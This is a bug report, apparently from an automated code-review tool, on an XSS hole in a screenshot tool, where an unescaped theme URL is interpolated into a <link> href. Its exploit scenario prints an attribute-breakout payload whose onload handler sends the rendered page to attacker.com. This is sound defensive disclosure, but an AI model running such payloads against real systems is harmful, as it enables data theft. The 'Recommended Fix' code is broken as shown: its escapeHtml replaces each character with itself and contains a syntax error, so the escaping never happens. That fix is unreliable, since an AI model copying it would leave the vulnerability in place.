[Detail Bug] Screenshot generation: codeScheme URL allows XSS via unescaped Prism theme <link> href
# Detail Bug Report
https://app.detail.dev/org_06887db3-bf54-40ab-976d-46c66ab2b840/bugs/bug_8f14a1c3-3f07-41ee-9fad-1fb635f7c88e
# Summary
- **Context**: The `theme.js` module loads CSS themes for Prism syntax highlighting when taking screenshots of JSON/code content. It accepts either a theme name or a URL.
- **Bug**: User-controlled URLs in the `codeScheme` parameter are not HTML-escaped before being interpolated into a `<link>` tag's `href` attribute.
- **Actual vs. expected**: The URL is directly concatenated into HTML without escaping, allowing injection of arbitrary HTML attributes and tags, whereas it should be HTML-escaped to prevent attribute breakout.
- **Impact**: An attacker can inject arbitrary JavaScript that executes in the browser context during screenshot generation, potentially stealing sensitive data from rendered pages or manipulating screenshot content.
# Code with Bug
```javascript
module.exports = async themeId => {
if (isHttpUrl(themeId)) return `<link rel="stylesheet" type="text/css" href="${themeId}">` // <-- BUG 🔴 themeId is not HTML-escaped; allows attribute/tag injection
const stylesheet =
CACHE[themeId] ||
(CACHE[themeId] = await readFile(path.resolve(THEME_PATH(), `prism-${themeId}.css`)))
return `<style>${stylesheet}</style>`
}
```
# Explanation
When `themeId` is an HTTP(S) URL, it is inserted directly into the `href="..."` attribute. If the URL contains a double-quote, it can break out of the attribute and inject additional attributes (e.g., `onload=...`) or new tags (e.g., `<script>`). This HTML is later rendered via `page.setContent()`, so injected JavaScript executes in the headless browser used for screenshot generation.
# Exploit Scenario
An attacker supplies a malicious `codeScheme` URL such as:
```javascript
'https://attacker.com/theme.css" onload="fetch(\'https://attacker.com/steal?data=\'+btoa(document.body.innerHTML))" x="'
```
This produces a `<link>` tag with an injected `onload` handler, which runs during page rendering and can exfiltrate rendered page contents or alter the screenshot output.
# Recommended Fix
HTML-escape the URL before inserting it into the `href` attribute (or construct the tag via a safe DOM API). Example:
```javascript
const escapeHtml = str => str
.replace(/&/g, '&')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/</g, '<')
.replace(/>/g, '>');
module.exports = async themeId => {
if (isHttpUrl(themeId)) return `<link rel="stylesheet" type="text/css" href="${escapeHtml(themeId)}">`
const stylesheet =
CACHE[themeId] ||
(CACHE[themeId] = await readFile(path.resolve(THEME_PATH(), `prism-${themeId}.css`)))
return `<style>${stylesheet}</style>`
}
```
# History
This bug was introduced in commit 4061fffb. The change added support for loading remote Prism themes from CDN URLs by accepting HTTP(S) URLs as theme identifiers, but the URL was directly interpolated into an HTML template string without escaping, creating an XSS vulnerability from the moment the feature was added.
关闭于 2026-05-17 0 条评论